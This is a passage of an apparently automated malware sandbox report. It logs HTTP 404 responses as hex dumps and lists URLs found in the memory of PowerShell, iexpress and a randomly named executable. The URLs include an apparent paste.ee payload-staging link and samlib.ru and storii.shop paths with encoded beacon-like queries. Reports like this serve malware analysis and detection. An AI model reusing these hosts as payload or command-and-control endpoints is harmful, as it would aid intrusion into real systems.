64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundkeep-alive: timeout=5, max=100cache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Tue, 15 Apr 2025 15:05:28 GMTserver: LiteSpeedx-turbo-charged-by: LiteSpeedconnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundkeep-alive: timeout=5, max=100cache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Tue, 15 Apr 2025 15:05:32 GMTserver: LiteSpeedx-turbo-charged-by: LiteSpeedconnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 15 Apr 2025 15:05:46 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 15 Apr 2025 15:05:49 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 15 Apr 2025 15:05:52 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 15 Apr 2025 15:05:55 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Source: powershell.exe, 00000008.00000002.1078118141.0000015D90559000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D9070A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: HTTPS://PASTE.EE/R/49ZDOXRT/0
Source: svchost.exe, 0000000D.00000002.2234977616.0000017B07000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.13.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.13.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.13.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.13.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.13.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.13.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.13.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000007.00000002.1170496094.0000023510073000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1116297999.0000023501B0D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D91985000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1098019416.0000015DA00F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000007.00000002.1116297999.0000023501A8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D9068D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://paste.ee
Source: powershell.exe, 00000007.00000002.1116297999.000002350166F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D90633000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pastebin.com
Source: powershell.exe, 00000008.00000002.1078118141.0000015D9192A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: iexpress.exe, 0000000C.00000002.2231547950.00000000057A4000.00000004.10000000.00040000.00000000.sdmp, DmMVOWsP1JSI77P.exe, 00000014.00000002.2230655033.0000000003664000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000015.00000002.1565665797.000000001EE74000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://samlib.ru/x6zj/?8ro=uF08wju0cXQ&3h5hA=pkzXSxPTT2YrTAYwTOcaicIRCimt47DVGFikR34exbY7UM7MJB5O
Source: iexpress.exe, 0000000C.00000002.2231547950.00000000057A4000.00000004.10000000.00040000.00000000.sdmp, DmMVOWsP1JSI77P.exe, 00000014.00000002.2230655033.0000000003664000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000015.00000002.1565665797.000000001EE74000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://samlib.ru/x6zj/?8ro=uF08wju0cXQ&3h5hA=pkzXSxPTT2YrTAYwTOcaicIRCimt47DVGFikR34exbY7UM7MJB5
Source: powershell.exe, 00000005.00000002.1197339575.000001C9951C6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1116297999.0000023500001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D90081000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000008.00000002.1078118141.0000015D91593000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000008.00000002.1078118141.0000015D9192A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000007.00000002.1183487116.000002357C566000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: DmMVOWsP1JSI77P.exe, 00000014.00000002.2232234775.0000000005746000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.storii.shop
Source: DmMVOWsP1JSI77P.exe, 00000014.00000002.2232234775.0000000005746000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.storii.shop/4dea/
Source: iexpress.exe, 0000000C.00000003.1453378313.0000000007F9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org?q=
Source: powershell.exe, 00000005.00000002.1197339575.000001C99519A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1197339575.000001C99517D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1116297999.0000023500001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D90081000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000007.00000002.1116297999.00000235004A9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1116297999.0000023501AE7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1116297999.000002350166F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1116297999.00000235003C8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D904D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D90503000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D90559000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D90633000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D906E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D9068D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D9070A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://analytics.paste.ee
Source: powershell.exe, 00000007.00000002.1116297999.00000235004A9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1116297999.0000023501AE7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1116297999.000002350166F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1116297999.00000235003C8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D904D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D90503000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D90559000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D90633000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D906E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D9068D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D9070A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://analytics.paste.ee;
Source: iexpress.exe, 0000000C.00000003.1453378313.0000000007F9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: powershell.exe, 00000007.00000002.1116297999.00000235004A9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1116297999.0000023501AE7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1116297999.000002350166F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1116297999.00000235003C8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D904D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D90503000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D90559000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D90633000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D906E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D9068D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D9070A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com
Source: powershell.exe, 00000007.00000002.1116297999.00000235004A9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1116297999.0000023501AE7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1116297999.000002350166F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1116297999.00000235003C8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D904D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D90503000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D90559000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D90633000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D906E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D9068D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D9070A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com;
Source: iexpress.exe, 0000000C.00000003.1453378313.0000000007F9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
